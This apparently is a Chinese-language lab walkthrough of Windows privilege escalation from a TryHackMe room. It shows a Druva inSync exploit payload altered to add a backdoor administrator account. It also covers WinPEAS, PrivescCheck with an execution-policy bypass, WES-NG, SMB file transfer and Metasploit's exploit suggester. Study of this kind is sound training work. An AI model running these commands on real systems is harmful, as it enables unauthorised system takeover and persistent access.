您可以弹出 Powershell 控制台并直接粘贴漏洞以执行它(该漏洞也可以在目标计算机 C:\tools\Druva_inSync_exploit.txt 中找到)。请注意,在 $cmd 变量中指定的漏洞利用的默认有效负载将在系统中创建一个名为 pwnd 的用户,但不会为他分配管理权限,因此我们可能希望将有效负载更改为更有用的内容。对于此 room,我们将更改 payload 以运行以下命令:

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

这将创建密码为 SimplePass123 的用户 pwnd 并将其添加到管理员组。如果漏洞利用成功,您应该能够运行以下命令来验证用户 pwnd 是否存在并且是管理员组的一部分:

image-20250320182713906

Tools of the Trade 发现工具

WinPEAS

工具下载:
curl -L -o winPEAS.exe https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe

WinPEAS(Windows Privilege Escalation Awesome Scripts) 是一个自动化枚举工具,用于查找 Windows 目标系统中的潜在权限提升向量。它会执行一系列检查,寻找可能的漏洞或错误配置,从而帮助攻击者或渗透测试人员找到可以利用的安全问题。

如何使用 WinPEAS

  1. 下载 WinPEAS 你可以从 GitHub 获取 WinPEAS:

  2. 在目标系统上执行 WinPEAS 由于 WinPEAS 输出可能非常冗长,建议将结果保存到文件中,以便后续分析:

    winPEASx64.exe > output.txt

    或者,如果你使用的是 PowerShell,可以运行:

    .\winPEASx64.exe | Tee-Object -FilePath output.txt

WinPEAS 枚举的关键信息

WinPEAS 主要关注以下几个方面:

1. 系统信息

  • Windows 版本
  • 内核版本
  • 计算机名称
  • 当前用户及权限

2. 用户和组

  • 当前用户属于哪些本地组
  • 是否有 SeImpersonatePrivilege(可能导致 Juicy Potato 攻击)
  • 是否属于 Administrators

3. 运行进程

  • 以高权限运行的进程
  • 进程是否加载了可写入的 DLL(DLL 劫持)

4. 服务

  • 是否有可写的 Windows 服务
  • 是否有自动运行的高权限服务

5. 注册表

  • 是否存在存储密码的注册表项
  • 是否有 AlwaysInstallElevated(可用于安装 SYSTEM 权限的 MSI)

6. 计划任务

  • 是否有可写的计划任务(可用于执行 SYSTEM 级 payload)

7. 可执行文件

  • 是否有可写入的 C:\Program Files 目录
  • 是否有 Unquoted Service Path(未加引号的服务路径漏洞)

8. 其他漏洞

  • 是否存在已知的可利用漏洞
  • 是否安装了过时或易受攻击的软件
  • 是否存在可写的 schtasks 任务

分析 WinPEAS 输出

WinPEAS 生成的输出可能很长,但你可以使用以下关键字快速定位可能的漏洞:

findstr /i "Privilege Service Writable User Vulnerable" output.txt

或者使用 PowerShell:

Select-String -Path output.txt -Pattern "Privilege|Service|Writable|User|Vulnerable"

运行 winPEASx64.exe 可能会发现类似以下的结果:

[+] Modifiable Service
[?] Service Name: VulnerableService
Path: C:\Program Files\VulnerableApp\service.exe
StartType: Auto
User: LocalSystem

这表明 VulnerableServiceSYSTEM 权限 运行,并且路径可修改,意味着可以替换 service.exe,从而获取 SYSTEM 访问权限。

其他 Privilege Escalation 工具

除了 WinPEAS,以下工具也常用于 Windows 权限提升检查:

  • PowerUp(适用于 PowerShell)
  • Seatbelt(C# 版本的权限提升枚举)
  • SharpUp(用于 .NET 环境)
  • Windows Exploit Suggester(检查已知漏洞)

工具:

https://github.com/peass-ng/PEASS-ng/releases/latest/

当然不只是win可以使用着一些相关工具还有linux

实践

win:

直接在攻击机上开一个smb把 WinPEAS传到目标机上即可

image-20250320222935478

net use Z: \192.168.106.128\public /user:1 1或则

image-20250320223002426

linux:

image-20250320224347438

PEASS-ng 支持将检测的导出结果转换为 json、html、pdf 等格式的报告。

项目地址:https://github.com/mnemonic-re/parsePEASS/tree/Scripts/parsePEASS/parsers

首先将 PEASS-ng 的检测结果导出到文件中,可以使用如下命令:

Linux/Unix*/MacOS环境:
./linpeas.sh > result.txt
Windows环境:
winPEAS.bat > result.txt
winPEASany.exe log=result.txt
然后使用 peas2json.py 将检测结果导出的文件转化为 json 格式文件。
python3 peas2json.py result.txt peass.json
最后将 json 格式文件转化为 html 或者 pdf 格式报告。
python3 json2html.py peass.json peass.html
python3 json2pdf.py peass.json peass.pdf

PrivescCheck 钥匙链检查

PrivescCheck 是一个 PowerShell 脚本,用于搜索目标系统上的常见权限提升。它提供了 WinPEAS 的替代方案,而无需执行二进制文件。

PrivescCheck 可以在这里下载。

提醒:要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用 Set-ExecutionPolicy cmdlet,如下所示。

Set-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:\Temp\result.txt"

image-20250321173821025

ES-NG:Windows 漏洞利用建议器 - 下一代

一些漏洞利用建议脚本(例如 winPEAS)会要求您将它们上传到目标系统并在那里运行它们。这可能会导致防病毒软件检测并删除它们。为避免发出不必要的噪音而引起注意,您可能更喜欢使用 WES-NG,它将在您的攻击机器(例如 Kali 或 TryHackMe AttackBox)上运行。WES-NG 是一个 Python 脚本,可以在此处找到和下载

安装后,在使用之前,键入 wes.py --update 命令以更新数据库。该脚本将引用它创建的数据库,以检查是否存在缺失的补丁,这些补丁可能会导致漏洞,您可以使用它来提升目标系统上的权限。

要使用该脚本,您需要在目标系统上运行 systeminfo 命令。不要忘记将输出定向到您需要移动到攻击机器的 .txt 文件。

image-20250321182257778

在攻击机开个smb服务

把txt文件传到攻击机即可

image-20250321183547761

image-20250321183601388

完成此作后,wes.py 可以按如下方式运行;

python wes.py systeminfo.txt

image-20250321183617871

Metasploit

如果您在目标系统上已经有 Meterpreter shell,则可以使用该 multi/recon/local_exploit_suggester 模块列出可能影响目标系统的漏洞,并允许您提升在目标系统上的权限。